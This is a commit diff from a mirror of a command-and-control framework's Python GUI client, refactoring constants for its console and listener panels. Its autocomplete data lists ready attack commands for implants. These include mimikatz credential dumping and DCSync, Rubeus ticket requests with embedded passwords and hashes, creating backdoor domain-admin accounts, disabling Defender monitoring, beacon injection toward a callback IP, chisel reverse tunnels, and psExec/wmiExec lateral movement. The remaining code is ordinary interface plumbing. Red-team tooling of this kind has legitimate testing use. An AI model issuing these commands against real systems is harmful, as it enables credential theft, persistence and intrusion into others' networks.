mirror of
https://github.com/maxDcb/C2TeamServer
synced 2026-06-06 16:14:27 +00:00
Cleaning client
This commit is contained in:
+261
-219
@@ -12,7 +12,258 @@ from TerminalPanel import *
|
||||
|
||||
|
||||
#
|
||||
# Consoles
|
||||
# Constant
|
||||
#
|
||||
TerminalTabTitle = "Terminal"
|
||||
CmdHistoryFileName = ".cmdHistory"
|
||||
|
||||
HelpInstruction = "help"
|
||||
SleepInstruction = "sleep"
|
||||
EndInstruction = "end"
|
||||
ListenerInstruction = "listener"
|
||||
LoadModuleInstruction = "loadModule"
|
||||
SocksInstruction = "socks"
|
||||
|
||||
AssemblyExecInstruction = "assemblyExec"
|
||||
UploadInstruction = "upload"
|
||||
RunInstruction = "run"
|
||||
DownloadInstruction = "download"
|
||||
InjectInstruction = "inject"
|
||||
ScriptInstruction = "script"
|
||||
PwdInstruction = "pwd"
|
||||
CdInstruction = "cd"
|
||||
LsInstruction = "ls"
|
||||
PsInstruction = "ps"
|
||||
CatInstruction = "cat"
|
||||
TreeInstruction = "tree"
|
||||
MakeTokenInstruction = "makeToken"
|
||||
Rev2selfInstruction = "rev2self"
|
||||
StealTokenInstruction = "stealToken"
|
||||
CoffLoaderInstruction = "coffLoader"
|
||||
UnloadModuleInstruction = "unloadModule"
|
||||
KerberosUseTicketInstruction = "kerberosUseTicket"
|
||||
PowershellInstruction = "powershell"
|
||||
ChiselInstruction = "chisel"
|
||||
PsExecInstruction = "psExec"
|
||||
WmiInstruction = "wmiExec"
|
||||
SpawnAsInstruction = "spawnAs"
|
||||
EvasionInstruction = "evasion"
|
||||
|
||||
StartInstruction = "start"
|
||||
StopInstruction = "stop"
|
||||
|
||||
completerData = [
|
||||
(HelpInstruction,[]),
|
||||
(SleepInstruction,[]),
|
||||
(EndInstruction,[]),
|
||||
(ListenerInstruction,[
|
||||
(StartInstruction+' smb pipename',[]),
|
||||
(StartInstruction+' tcp 127.0.0.1 4444',[]),
|
||||
(StopInstruction, []),
|
||||
]),
|
||||
(AssemblyExecInstruction,[
|
||||
('-e',[
|
||||
('mimikatz.exe',[
|
||||
('"!+" "!processprotect /process:lsass.exe /remove" "privilege::debug" "exit"',[]),
|
||||
('"privilege::debug" "lsadump::dcsync /domain:m3c.local /user:krbtgt" "exit"',[]),
|
||||
('"privilege::debug" "lsadump::lsa /inject /name:joe" "exit"',[]),
|
||||
('"sekurlsa::logonpasswords" "exit"', []),
|
||||
('"sekurlsa::ekeys" "exit"', []),
|
||||
('"lsadump::sam" "exit"', []),
|
||||
('"lsadump::cache" "exit"', []),
|
||||
('"lsadump::secrets" "exit"', []),
|
||||
('"dpapi::chrome /in:"""C:\\Users\\CyberVuln\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data"""" "exit"', []),
|
||||
('"dpapi::cred /in:C:\\Users\\joe\\AppData\\Local\\Microsoft\\Credentials\\DFBE70A7E5CC19A398EBF1B96859CE5D" "exit"', []),
|
||||
('"sekurlsa::dpapi" "exit"', []),
|
||||
('"dpapi::masterkey /in:C:\\Users\\joe\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-308422719-809814085-1049341588-1001/36bf2476-ed68-4bf9-9604-c84a6e8bcb03 /rpc" "exit"', []),
|
||||
]),
|
||||
|
||||
('SharpView.exe Get-DomainComputer', []),
|
||||
('Rubeus.exe',[
|
||||
('triage',[]),
|
||||
('purge',[]),
|
||||
('asktgt /user:OFFSHORE_ADM /password:Banker!123 /domain:client.offshore.com /nowrap /ptt', []),
|
||||
('s4u /user:MS02$ /aes256:a7ef524856fbf9113682384b725292dec23e54ab4e66cfdca8dd292b1bb198ae /impersonateuser:administrator /msdsspn:cifs/dc04.client.OFFSHORE.COM /altservice:host /nowrap /ptt', []),
|
||||
]),
|
||||
('Seatbelt.exe',[
|
||||
('-group=system',[]),
|
||||
('-group=user',[]),
|
||||
]),
|
||||
('SharpHound.exe -c All -d dev.admin.offshore.com', []),
|
||||
('SweetPotato.exe -e EfsRpc -p C:\\Users\\Public\\Documents\\implant.exe', []),
|
||||
]),
|
||||
]),
|
||||
(UploadInstruction,[]),
|
||||
(RunInstruction,[
|
||||
('cmd /c', []),
|
||||
('cmd /c sc query', []),
|
||||
('cmd /c wmic service where caption="Serviio" get name, caption, state, startmode', []),
|
||||
('cmd /c where /r c:\\ *.txt', []),
|
||||
('cmd /c tasklist /SVC', []),
|
||||
('cmd /c taskkill /pid 845 /f', []),
|
||||
('cmd /c schtasks /query /fo LIST /v', []),
|
||||
('cmd /c net user superadmin123 Password123!* /add', []),
|
||||
('cmd /c net localgroup administrators superadmin123 /add', []),
|
||||
('cmd /c net user superadmin123 Password123!* /add /domain', []),
|
||||
('cmd /c net group "domain admins" superadmin123 /add /domain', []),
|
||||
]),
|
||||
(DownloadInstruction,[]),
|
||||
(InjectInstruction,[
|
||||
('-e BeaconHttp.exe -1 10.10.15.34 8443 https', []),
|
||||
('-e implant.exe -1', []),
|
||||
]),
|
||||
(ScriptInstruction,[]),
|
||||
(PwdInstruction,[]),
|
||||
(CdInstruction,[]),
|
||||
(LsInstruction,[]),
|
||||
(PsInstruction,[]),
|
||||
(CatInstruction,[]),
|
||||
(TreeInstruction,[]),
|
||||
(MakeTokenInstruction,[]),
|
||||
(Rev2selfInstruction,[]),
|
||||
(StealTokenInstruction,[]),
|
||||
(CoffLoaderInstruction,[
|
||||
('adcs_enum.x64.o', [('go',[])]),
|
||||
('adcs_enum_com.x64.o', [('go ZZ hostname sharename',[])]),
|
||||
('adcs_enum_com2.x64.o', [('go',[])]),
|
||||
('adv_audit_policies.x64.o', [('go',[])]),
|
||||
('arp.x64.o', [('go',[])]),
|
||||
('cacls.x64.o', [('go zz hostname servicename',[])]),
|
||||
('dir.x64.o', [('go Zs targetdir subdirs',[])]),
|
||||
('driversigs.x64.o', [('go Zi name, 0',[])]),
|
||||
('enum_filter_driver.x64.o', [('go',[])]),
|
||||
('enumlocalsessions.x64.o', [('go zz modname procname',[])]),
|
||||
('env.x64.o', [('go',[])]),
|
||||
('findLoadedModule.x64.o', [('go',[])]),
|
||||
('get-netsession.x64.o', [('go',[])]),
|
||||
('get_password_policy.x64.o', [('go Z server',[])]),
|
||||
('ipconfig.x64.o', [('go',[])]),
|
||||
('ldapsearch.x64.o', [('go zzizz 2 attributes result_limit hostname domain',[])]),
|
||||
('listdns.x64.o', [('go',[])]),
|
||||
('listmods.x64.o', [('go i pid',[])]),
|
||||
('locale.x64.o', [('go',[])]),
|
||||
('netgroup.x64.o', [('go sZZ type server group',[])]),
|
||||
('netlocalgroup.x64.o', [('go',[])]),
|
||||
('netshares.x64.o', [('go Zi name, 1',[])]),
|
||||
('netstat.x64.o', [('go',[])]),
|
||||
('netuse.x64.o', [('go sZZZZss 1 share user password device persist requireencrypt',[])]),
|
||||
('netuser.x64.o', [('go ZZ 2 domain',[])]),
|
||||
('netuserenum.x64.o', [('go',[])]),
|
||||
('netview.x64.o', [('go Z domain',[])]),
|
||||
('nonpagedldapsearch.x64.o', [('go zzizz 2 attributes result_limit hostname domain',[])]),
|
||||
('nslookup.x64.o', [('go zzs lookup server type',[])]),
|
||||
('probe.x64.o', [('go zi host port',[])]),
|
||||
('reg_query.x64.o', [('go zizzi hostname hive path key, 0',[])]),
|
||||
('resources.x64.o', [('go',[])]),
|
||||
('routeprint.x64.o', [('go',[])]),
|
||||
('sc_enum.x64.o', [('go',[])]),
|
||||
('schtasksenum.x64.o', [('go ZZ 2 3',[])]),
|
||||
('schtasksquery.x64.o', [('go',[])]),
|
||||
('sc_qc.x64.o', [('go zz hostname servicename',[])]),
|
||||
('sc_qdescription.x64.o', [('go zz hostname servicename',[])]),
|
||||
('sc_qfailure.x64.o', [('go',[])]),
|
||||
('sc_qtriggerinfo.x64.o', [('go',[])]),
|
||||
('sc_query.x64.o', [('go',[])]),
|
||||
('tasklist.x64.o', [('go Z system',[])]),
|
||||
('uptime.x64.o', [('go',[])]),
|
||||
('vssenum.x64.o', [('go',[])]),
|
||||
('whoami.x64.o', [('go',[])]),
|
||||
('windowlist.x64.o', [('go',[])]),
|
||||
('wmi_query.x64.o', [('go ZZZ system namespace query',[])]),
|
||||
]),
|
||||
(UnloadModuleInstruction,[
|
||||
(AssemblyExecInstruction, []),
|
||||
(CdInstruction, []),
|
||||
(CoffLoaderInstruction, []),
|
||||
(DownloadInstruction, []),
|
||||
(InjectInstruction, []),
|
||||
(LsInstruction, []),
|
||||
(PsInstruction, []),
|
||||
(MakeTokenInstruction, []),
|
||||
(PwdInstruction, []),
|
||||
(Rev2selfInstruction, []),
|
||||
(RunInstruction, []),
|
||||
(ScriptInstruction, []),
|
||||
(StealTokenInstruction, []),
|
||||
(UploadInstruction, []),
|
||||
(PowershellInstruction, []),
|
||||
(PsExecInstruction, []),
|
||||
(KerberosUseTicketInstruction, []),
|
||||
(ChiselInstruction, []),
|
||||
(EvasionInstruction, []),
|
||||
(SpawnAsInstruction, []),
|
||||
(WmiInstruction, []),
|
||||
]),
|
||||
(KerberosUseTicketInstruction,[]),
|
||||
(PowershellInstruction,[
|
||||
('-i PowerView.ps1', []),
|
||||
('Get-Domain', []),
|
||||
('Get-DomainTrust', []),
|
||||
('Get-DomainUser', []),
|
||||
('Get-DomainComputer -Properties DnsHostName', []),
|
||||
('powershell Get-NetSession -ComputerName MS01 | select CName, UserName', []),
|
||||
('-i PowerUp.ps1', []),
|
||||
('Invoke-AllChecks', []),
|
||||
('-i Powermad.ps1', []),
|
||||
('-i PowerUpSQL.ps1', []),
|
||||
('Set-MpPreference -DisableRealtimeMonitoring $true', []),
|
||||
]),
|
||||
(ChiselInstruction,[
|
||||
('status', []),
|
||||
('stop', []),
|
||||
('chisel.exe client 192.168.57.21:9001 R:socks', []),
|
||||
('chisel.exe client 192.168.57.21:9001 R:445:192.168.57.14:445', []),
|
||||
]),
|
||||
(PsExecInstruction,[
|
||||
('10.10.10.10 implant.exe', []),
|
||||
]),
|
||||
(WmiInstruction,[
|
||||
('10.10.10.10 implant.exe', []),
|
||||
]),
|
||||
(SpawnAsInstruction,[
|
||||
('user password implant.exe', []),
|
||||
]),
|
||||
(SocksInstruction,[
|
||||
('start 1080', []),
|
||||
('stop', []),
|
||||
]),
|
||||
(EvasionInstruction,[
|
||||
('CheckHooks', []),
|
||||
('Unhook', []),
|
||||
]),
|
||||
(LoadModuleInstruction,[
|
||||
('AssemblyExec', []),
|
||||
('ChangeDirectory', []),
|
||||
('Coff', []),
|
||||
('Download', []),
|
||||
('Inject', []),
|
||||
('ListDirectory', []),
|
||||
('ListProcesses', []),
|
||||
('MakeToken', []),
|
||||
('PrintWorkingDirectory', []),
|
||||
('Rev2self', []),
|
||||
('Run', []),
|
||||
('Script', []),
|
||||
('StealToken', []),
|
||||
('Upload', []),
|
||||
('Powershell', []),
|
||||
('PsExec', []),
|
||||
('KerberosUseTicket', []),
|
||||
('Chisel', []),
|
||||
('SpawnAs', []),
|
||||
('Cat', []),
|
||||
('Tree', []),
|
||||
('Evasion', []),
|
||||
('WmiExec', []),
|
||||
]),
|
||||
]
|
||||
|
||||
orangeText = '<p style=\"color:orange;white-space:pre\">[+] {} </p>'
|
||||
redText = '<p style=\"color:red;white-space:pre\">[+] {} </p>'
|
||||
|
||||
|
||||
#
|
||||
# Consoles Tab Implementation
|
||||
#
|
||||
class ConsolesTab(QWidget):
|
||||
|
||||
@@ -35,7 +286,7 @@ class ConsolesTab(QWidget):
|
||||
self.setLayout(self.layout)
|
||||
|
||||
tab = QWidget()
|
||||
self.tabs.addTab(tab, "Terminal")
|
||||
self.tabs.addTab(tab, TerminalTabTitle)
|
||||
tab.layout = QVBoxLayout(self.tabs)
|
||||
terminal = Terminal(self, self.ip, self.port, self.devMode)
|
||||
tab.layout.addWidget(terminal)
|
||||
@@ -138,7 +389,7 @@ class Console(QWidget):
|
||||
line = '\n';
|
||||
self.editorOutput.insertPlainText(line)
|
||||
else:
|
||||
cmdHistoryFile = open('.cmdHistory', 'a')
|
||||
cmdHistoryFile = open(CmdHistoryFileName, 'a')
|
||||
cmdHistoryFile.write(commandLine)
|
||||
cmdHistoryFile.write('\n')
|
||||
cmdHistoryFile.close()
|
||||
@@ -150,17 +401,15 @@ class Console(QWidget):
|
||||
|
||||
self.commandEditor.setCmdHistory()
|
||||
instructions = commandLine.split()
|
||||
if instructions[0]=="help":
|
||||
if instructions[0]==HelpInstruction:
|
||||
command = TeamServerApi_pb2.Command(
|
||||
cmd=commandLine)
|
||||
response = self.grpcClient.getHelp(command)
|
||||
line = '<p style=\"color:orange;white-space:pre\">[+] ' + response.cmd + '</p>'
|
||||
self.editorOutput.appendHtml(line)
|
||||
self.editorOutput.appendHtml(orangeText.format(response.cmd))
|
||||
line = '\n' + response.response.decode(encoding="latin1", errors="ignore") + '\n';
|
||||
self.editorOutput.insertPlainText(line)
|
||||
else:
|
||||
line = '<p style=\"color:orange;white-space:pre\">[+] send: \"' + commandLine + '\"</p>'
|
||||
self.editorOutput.appendHtml(line)
|
||||
self.editorOutput.appendHtml(orangeText.format(commandLine))
|
||||
line = '\n';
|
||||
self.editorOutput.insertPlainText(line)
|
||||
command = TeamServerApi_pb2.Command(
|
||||
@@ -178,8 +427,7 @@ class Console(QWidget):
|
||||
responses = self.grpcClient.getResponseFromSession(session)
|
||||
for response in responses:
|
||||
self.setCursorEditorAtEnd()
|
||||
line = '<p style=\"color:red;white-space:pre\">[+] result: \"' + response.instruction + " " + response.cmd + '\"</p>'
|
||||
self.editorOutput.appendHtml(line)
|
||||
self.editorOutput.appendHtml(redText.format(response.instruction + " " + response.cmd))
|
||||
line = '\n' + response.response.decode(encoding="latin1", errors="ignore") + '\n'
|
||||
self.editorOutput.insertPlainText(line)
|
||||
self.setCursorEditorAtEnd()
|
||||
@@ -218,8 +466,8 @@ class CommandEditor(QLineEdit):
|
||||
def __init__(self, parent=None):
|
||||
super().__init__(parent)
|
||||
|
||||
if(os.path.isfile('.cmdHistory')):
|
||||
cmdHistoryFile = open('.cmdHistory')
|
||||
if(os.path.isfile(CmdHistoryFileName)):
|
||||
cmdHistoryFile = open(CmdHistoryFileName)
|
||||
self.cmdHistory = cmdHistoryFile.readlines()
|
||||
self.idx=len(self.cmdHistory)-1
|
||||
cmdHistoryFile.close()
|
||||
@@ -259,7 +507,7 @@ class CommandEditor(QLineEdit):
|
||||
self.setText(cmd.strip())
|
||||
|
||||
def setCmdHistory(self):
|
||||
cmdHistoryFile = open('.cmdHistory')
|
||||
cmdHistoryFile = open(CmdHistoryFileName)
|
||||
self.cmdHistory = cmdHistoryFile.readlines()
|
||||
self.idx=len(self.cmdHistory)-1
|
||||
cmdHistoryFile.close()
|
||||
@@ -271,212 +519,6 @@ class CommandEditor(QLineEdit):
|
||||
QTimer.singleShot(0, self.clear)
|
||||
|
||||
|
||||
completerData = [
|
||||
('help',[]),
|
||||
('sleep',[]),
|
||||
('end',[]),
|
||||
('listener',[
|
||||
('start smb pipename',[]),
|
||||
('start tcp 127.0.0.1 4444',[]),
|
||||
('stop', []),
|
||||
]),
|
||||
('assemblyExec',[
|
||||
('-e',[
|
||||
('mimikatz.exe',[
|
||||
('"!+" "!processprotect /process:lsass.exe /remove" "privilege::debug" "exit"',[]),
|
||||
('"privilege::debug" "lsadump::dcsync /domain:m3c.local /user:krbtgt" "exit"',[]),
|
||||
('"privilege::debug" "lsadump::lsa /inject /name:joe" "exit"',[]),
|
||||
('"sekurlsa::logonpasswords" "exit"', []),
|
||||
('"sekurlsa::ekeys" "exit"', []),
|
||||
('"lsadump::sam" "exit"', []),
|
||||
('"lsadump::cache" "exit"', []),
|
||||
('"lsadump::secrets" "exit"', []),
|
||||
('"dpapi::chrome /in:"""C:\\Users\\CyberVuln\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data"""" "exit"', []),
|
||||
('"dpapi::cred /in:C:\\Users\\joe\\AppData\\Local\\Microsoft\\Credentials\\DFBE70A7E5CC19A398EBF1B96859CE5D" "exit"', []),
|
||||
('"sekurlsa::dpapi" "exit"', []),
|
||||
('"dpapi::masterkey /in:C:\\Users\\joe\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-308422719-809814085-1049341588-1001/36bf2476-ed68-4bf9-9604-c84a6e8bcb03 /rpc" "exit"', []),
|
||||
]),
|
||||
|
||||
('SharpView.exe Get-DomainComputer', []),
|
||||
('Rubeus.exe',[
|
||||
('triage',[]),
|
||||
('purge',[]),
|
||||
('asktgt /user:OFFSHORE_ADM /password:Banker!123 /domain:client.offshore.com /nowrap /ptt', []),
|
||||
('s4u /user:MS02$ /aes256:a7ef524856fbf9113682384b725292dec23e54ab4e66cfdca8dd292b1bb198ae /impersonateuser:administrator /msdsspn:cifs/dc04.client.OFFSHORE.COM /altservice:host /nowrap /ptt', []),
|
||||
]),
|
||||
('Seatbelt.exe',[
|
||||
('-group=system',[]),
|
||||
('-group=user',[]),
|
||||
]),
|
||||
('SharpHound.exe -c All -d dev.admin.offshore.com', []),
|
||||
('SweetPotato.exe -e EfsRpc -p C:\\Users\\Public\\Documents\\implant.exe', []),
|
||||
]),
|
||||
]),
|
||||
('upload',[]),
|
||||
('run',[
|
||||
('cmd /c', []),
|
||||
('cmd /c sc query', []),
|
||||
('cmd /c wmic service where caption="Serviio" get name, caption, state, startmode', []),
|
||||
('cmd /c where /r c:\\ *.txt', []),
|
||||
('cmd /c tasklist /SVC', []),
|
||||
('cmd /c taskkill /pid 845 /f', []),
|
||||
('cmd /c schtasks /query /fo LIST /v', []),
|
||||
('cmd /c net user superadmin123 Password123!* /add', []),
|
||||
('cmd /c net localgroup administrators superadmin123 /add', []),
|
||||
('cmd /c net user superadmin123 Password123!* /add /domain', []),
|
||||
('cmd /c net group "domain admins" superadmin123 /add /domain', []),
|
||||
]),
|
||||
('download',[]),
|
||||
('inject',[
|
||||
('-e BeaconHttp.exe -1 10.10.15.34 8443 https', []),
|
||||
('-e implant.exe -1', []),
|
||||
]),
|
||||
('script',[]),
|
||||
('pwd',[]),
|
||||
('cd',[]),
|
||||
('ls',[]),
|
||||
('ps',[]),
|
||||
('cat',[]),
|
||||
('tree',[]),
|
||||
('makeToken',[]),
|
||||
('rev2self',[]),
|
||||
('stealToken',[]),
|
||||
('coffLoader',[
|
||||
('adcs_enum.x64.o', [('go',[])]),
|
||||
('adcs_enum_com.x64.o', [('go ZZ hostname sharename',[])]),
|
||||
('adcs_enum_com2.x64.o', [('go',[])]),
|
||||
('adv_audit_policies.x64.o', [('go',[])]),
|
||||
('arp.x64.o', [('go',[])]),
|
||||
('cacls.x64.o', [('go zz hostname servicename',[])]),
|
||||
('dir.x64.o', [('go Zs targetdir subdirs',[])]),
|
||||
('driversigs.x64.o', [('go Zi name, 0',[])]),
|
||||
('enum_filter_driver.x64.o', [('go',[])]),
|
||||
('enumlocalsessions.x64.o', [('go zz modname procname',[])]),
|
||||
('env.x64.o', [('go',[])]),
|
||||
('findLoadedModule.x64.o', [('go',[])]),
|
||||
('get-netsession.x64.o', [('go',[])]),
|
||||
('get_password_policy.x64.o', [('go Z server',[])]),
|
||||
('ipconfig.x64.o', [('go',[])]),
|
||||
('ldapsearch.x64.o', [('go zzizz 2 attributes result_limit hostname domain',[])]),
|
||||
('listdns.x64.o', [('go',[])]),
|
||||
('listmods.x64.o', [('go i pid',[])]),
|
||||
('locale.x64.o', [('go',[])]),
|
||||
('netgroup.x64.o', [('go sZZ type server group',[])]),
|
||||
('netlocalgroup.x64.o', [('go',[])]),
|
||||
('netshares.x64.o', [('go Zi name, 1',[])]),
|
||||
('netstat.x64.o', [('go',[])]),
|
||||
('netuse.x64.o', [('go sZZZZss 1 share user password device persist requireencrypt',[])]),
|
||||
('netuser.x64.o', [('go ZZ 2 domain',[])]),
|
||||
('netuserenum.x64.o', [('go',[])]),
|
||||
('netview.x64.o', [('go Z domain',[])]),
|
||||
('nonpagedldapsearch.x64.o', [('go zzizz 2 attributes result_limit hostname domain',[])]),
|
||||
('nslookup.x64.o', [('go zzs lookup server type',[])]),
|
||||
('probe.x64.o', [('go zi host port',[])]),
|
||||
('reg_query.x64.o', [('go zizzi hostname hive path key, 0',[])]),
|
||||
('resources.x64.o', [('go',[])]),
|
||||
('routeprint.x64.o', [('go',[])]),
|
||||
('sc_enum.x64.o', [('go',[])]),
|
||||
('schtasksenum.x64.o', [('go ZZ 2 3',[])]),
|
||||
('schtasksquery.x64.o', [('go',[])]),
|
||||
('sc_qc.x64.o', [('go zz hostname servicename',[])]),
|
||||
('sc_qdescription.x64.o', [('go zz hostname servicename',[])]),
|
||||
('sc_qfailure.x64.o', [('go',[])]),
|
||||
('sc_qtriggerinfo.x64.o', [('go',[])]),
|
||||
('sc_query.x64.o', [('go',[])]),
|
||||
('tasklist.x64.o', [('go Z system',[])]),
|
||||
('uptime.x64.o', [('go',[])]),
|
||||
('vssenum.x64.o', [('go',[])]),
|
||||
('whoami.x64.o', [('go',[])]),
|
||||
('windowlist.x64.o', [('go',[])]),
|
||||
('wmi_query.x64.o', [('go ZZZ system namespace query',[])]),
|
||||
]),
|
||||
('unloadModule',[
|
||||
('assemblyExec', []),
|
||||
('cd', []),
|
||||
('coff', []),
|
||||
('download', []),
|
||||
('inject', []),
|
||||
('ls', []),
|
||||
('ps', []),
|
||||
('makeToken', []),
|
||||
('pwd', []),
|
||||
('rev2self', []),
|
||||
('run', []),
|
||||
('script', []),
|
||||
('stealToken', []),
|
||||
('upload', []),
|
||||
('powershell', []),
|
||||
('psExec', []),
|
||||
('kerberosUseTicket', []),
|
||||
('chisel', []),
|
||||
('evasion', []),
|
||||
('spawnAs', []),
|
||||
('wmiExec', []),
|
||||
]),
|
||||
('kerberosUseTicket',[]),
|
||||
('powershell',[
|
||||
('-i PowerView.ps1', []),
|
||||
('Get-Domain', []),
|
||||
('Get-DomainTrust', []),
|
||||
('Get-DomainUser', []),
|
||||
('Get-DomainComputer -Properties DnsHostName', []),
|
||||
('powershell Get-NetSession -ComputerName MS01 | select CName, UserName', []),
|
||||
('-i PowerUp.ps1', []),
|
||||
('Invoke-AllChecks', []),
|
||||
('-i Powermad.ps1', []),
|
||||
('-i PowerUpSQL.ps1', []),
|
||||
('Set-MpPreference -DisableRealtimeMonitoring $true', []),
|
||||
]),
|
||||
('chisel',[
|
||||
('status', []),
|
||||
('stop', []),
|
||||
('chisel.exe client 192.168.57.21:9001 R:socks', []),
|
||||
('chisel.exe client 192.168.57.21:9001 R:445:192.168.57.14:445', []),
|
||||
]),
|
||||
('psExec',[
|
||||
('10.10.10.10 implant.exe', []),
|
||||
]),
|
||||
('wmiExec',[
|
||||
('10.10.10.10 implant.exe', []),
|
||||
]),
|
||||
('spawnAs',[
|
||||
('user password implant.exe', []),
|
||||
]),
|
||||
('socks',[
|
||||
('start 1080', []),
|
||||
('stop', []),
|
||||
]),
|
||||
('evasion',[
|
||||
('CheckHooks', []),
|
||||
('Unhook', []),
|
||||
]),
|
||||
('loadModule',[
|
||||
('AssemblyExec', []),
|
||||
('ChangeDirectory', []),
|
||||
('Coff', []),
|
||||
('Download', []),
|
||||
('Inject', []),
|
||||
('ListDirectory', []),
|
||||
('ListProcesses', []),
|
||||
('MakeToken', []),
|
||||
('PrintWorkingDirectory', []),
|
||||
('Rev2self', []),
|
||||
('Run', []),
|
||||
('Script', []),
|
||||
('StealToken', []),
|
||||
('Upload', []),
|
||||
('Powershell', []),
|
||||
('PsExec', []),
|
||||
('KerberosUseTicket', []),
|
||||
('Chisel', []),
|
||||
('SpawnAs', []),
|
||||
('Cat', []),
|
||||
('Tree', []),
|
||||
('Evasion', []),
|
||||
('WmiExec', []),
|
||||
]),
|
||||
]
|
||||
|
||||
class CodeCompleter(QCompleter):
|
||||
ConcatenationRole = Qt.UserRole + 1
|
||||
|
||||
|
||||
+2
-4
@@ -10,7 +10,6 @@ from grpcClient import *
|
||||
from ListenerPanel import *
|
||||
from SessionPanel import *
|
||||
from ConsolePanel import *
|
||||
from PayloadPanel import *
|
||||
from GraphPanel import *
|
||||
|
||||
import qdarktheme
|
||||
@@ -72,9 +71,8 @@ class App(QMainWindow):
|
||||
|
||||
self.topWidget.addTab(self.m_main, "Main")
|
||||
|
||||
self.graphWidget = Graph(self, self.ip, self.port, self.devMode)
|
||||
|
||||
self.topWidget.addTab(self.graphWidget, "Graph")
|
||||
# self.graphWidget = Graph(self, self.ip, self.port, self.devMode)
|
||||
# self.topWidget.addTab(self.graphWidget, "Graph")
|
||||
|
||||
self.mainLayout.addWidget(self.topWidget, 1, 1, 1, 1)
|
||||
|
||||
|
||||
+46
-25
@@ -10,7 +10,28 @@ from grpcClient import *
|
||||
|
||||
|
||||
#
|
||||
# Listeners
|
||||
# Constant
|
||||
#
|
||||
ListenerTabTitle = "Listeners"
|
||||
AddListenerWindowTitle = "Add Listener"
|
||||
|
||||
TypeLabel = "Type"
|
||||
IpLabel = "IP"
|
||||
PortLabel = "Port"
|
||||
DomainLabel = "Domain"
|
||||
ProjectLabel = "Project"
|
||||
TokenLabel = "Token"
|
||||
|
||||
HttpType = "http"
|
||||
HttpsType = "https"
|
||||
TcpType = "tcp"
|
||||
GithubType = "github"
|
||||
DnsType = "dns"
|
||||
SmbType = "smb"
|
||||
|
||||
|
||||
#
|
||||
# Listener tab implementation
|
||||
#
|
||||
class Listener():
|
||||
|
||||
@@ -40,7 +61,7 @@ class Listeners(QWidget):
|
||||
widget = QWidget(self)
|
||||
self.layout = QGridLayout(widget)
|
||||
|
||||
self.label = QLabel('Listeners')
|
||||
self.label = QLabel(ListenerTabTitle)
|
||||
self.layout.addWidget(self.label)
|
||||
|
||||
# List of sessions
|
||||
@@ -166,11 +187,11 @@ class Listeners(QWidget):
|
||||
# add
|
||||
# if listener is not yet already on our list
|
||||
if not inStore:
|
||||
if listener.type == "github":
|
||||
if listener.type == GithubType:
|
||||
self.listListenerObject.append(Listener(self.idListener, listener.listenerHash, listener.type, listener.project, listener.token[0:10], listener.numberOfSession))
|
||||
elif listener.type == "dns":
|
||||
elif listener.type == DnsType:
|
||||
self.listListenerObject.append(Listener(self.idListener, listener.listenerHash, listener.type, listener.domain, listener.port, listener.numberOfSession))
|
||||
elif listener.type == "smb":
|
||||
elif listener.type == SmbType:
|
||||
self.listListenerObject.append(Listener(self.idListener, listener.listenerHash, listener.type, listener.domain, "", listener.numberOfSession))
|
||||
else:
|
||||
self.listListenerObject.append(Listener(self.idListener, listener.listenerHash, listener.type, listener.ip, listener.port, listener.numberOfSession))
|
||||
@@ -202,20 +223,20 @@ class CreateListner(QWidget):
|
||||
super().__init__()
|
||||
|
||||
layout = QFormLayout()
|
||||
self.labelType = QLabel("Type")
|
||||
self.labelType = QLabel(TypeLabel)
|
||||
self.qcombo = QComboBox(self)
|
||||
self.qcombo.addItems(["http" , "https" , "tcp" , "github" , "dns"])
|
||||
self.qcombo.addItems([HttpType , HttpsType, TcpType, GithubType, DnsType])
|
||||
self.qcombo.setCurrentIndex(1)
|
||||
self.qcombo.currentTextChanged.connect(self.changeLabels)
|
||||
self.type = self.qcombo
|
||||
layout.addRow(self.labelType, self.type)
|
||||
|
||||
self.labelIP = QLabel("IP")
|
||||
self.labelIP = QLabel(IpLabel)
|
||||
self.param1 = QLineEdit()
|
||||
self.param1.setText("0.0.0.0")
|
||||
layout.addRow(self.labelIP, self.param1)
|
||||
|
||||
self.labelPort = QLabel("Port")
|
||||
self.labelPort = QLabel(PortLabel)
|
||||
self.param2 = QLineEdit()
|
||||
self.param2.setText("8443")
|
||||
layout.addRow(self.labelPort, self.param2)
|
||||
@@ -224,25 +245,25 @@ class CreateListner(QWidget):
|
||||
layout.addRow(self.buttonOk)
|
||||
|
||||
self.setLayout(layout)
|
||||
self.setWindowTitle("Add Listener")
|
||||
self.setWindowTitle(AddListenerWindowTitle)
|
||||
|
||||
|
||||
def changeLabels(self):
|
||||
if self.qcombo.currentText() == "http":
|
||||
self.labelIP.setText("IP")
|
||||
self.labelPort.setText("Port")
|
||||
elif self.qcombo.currentText() == "https":
|
||||
self.labelIP.setText("IP")
|
||||
self.labelPort.setText("Port")
|
||||
elif self.qcombo.currentText() == "tcp":
|
||||
self.labelIP.setText("IP")
|
||||
self.labelPort.setText("Port")
|
||||
elif self.qcombo.currentText() == "github":
|
||||
self.labelIP.setText("Project")
|
||||
self.labelPort.setText("Token")
|
||||
elif self.qcombo.currentText() == "dns":
|
||||
self.labelIP.setText("Domain")
|
||||
self.labelPort.setText("Port")
|
||||
if self.qcombo.currentText() == HttpType:
|
||||
self.labelIP.setText(IpLabel)
|
||||
self.labelPort.setText(PortLabel)
|
||||
elif self.qcombo.currentText() == HttpsType:
|
||||
self.labelIP.setText(IpLabel)
|
||||
self.labelPort.setText(PortLabel)
|
||||
elif self.qcombo.currentText() == TcpType:
|
||||
self.labelIP.setText(IpLabel)
|
||||
self.labelPort.setText(PortLabel)
|
||||
elif self.qcombo.currentText() == GithubType:
|
||||
self.labelIP.setText(ProjectLabel)
|
||||
self.labelPort.setText(TokenLabel)
|
||||
elif self.qcombo.currentText() == DnsType:
|
||||
self.labelIP.setText(DomainLabel)
|
||||
self.labelPort.setText(PortLabel)
|
||||
|
||||
|
||||
def checkAndSend(self):
|
||||
|
||||
@@ -1,74 +0,0 @@
|
||||
import sys
|
||||
import os
|
||||
import time
|
||||
from threading import Thread, Lock
|
||||
from PyQt5.QtWidgets import *
|
||||
from PyQt5.QtGui import *
|
||||
from PyQt5.QtCore import *
|
||||
|
||||
|
||||
class CreatePayload(QWidget):
|
||||
|
||||
procDone = pyqtSignal(list)
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
|
||||
layout = QFormLayout()
|
||||
|
||||
self.labelMethode = QLabel("Methode")
|
||||
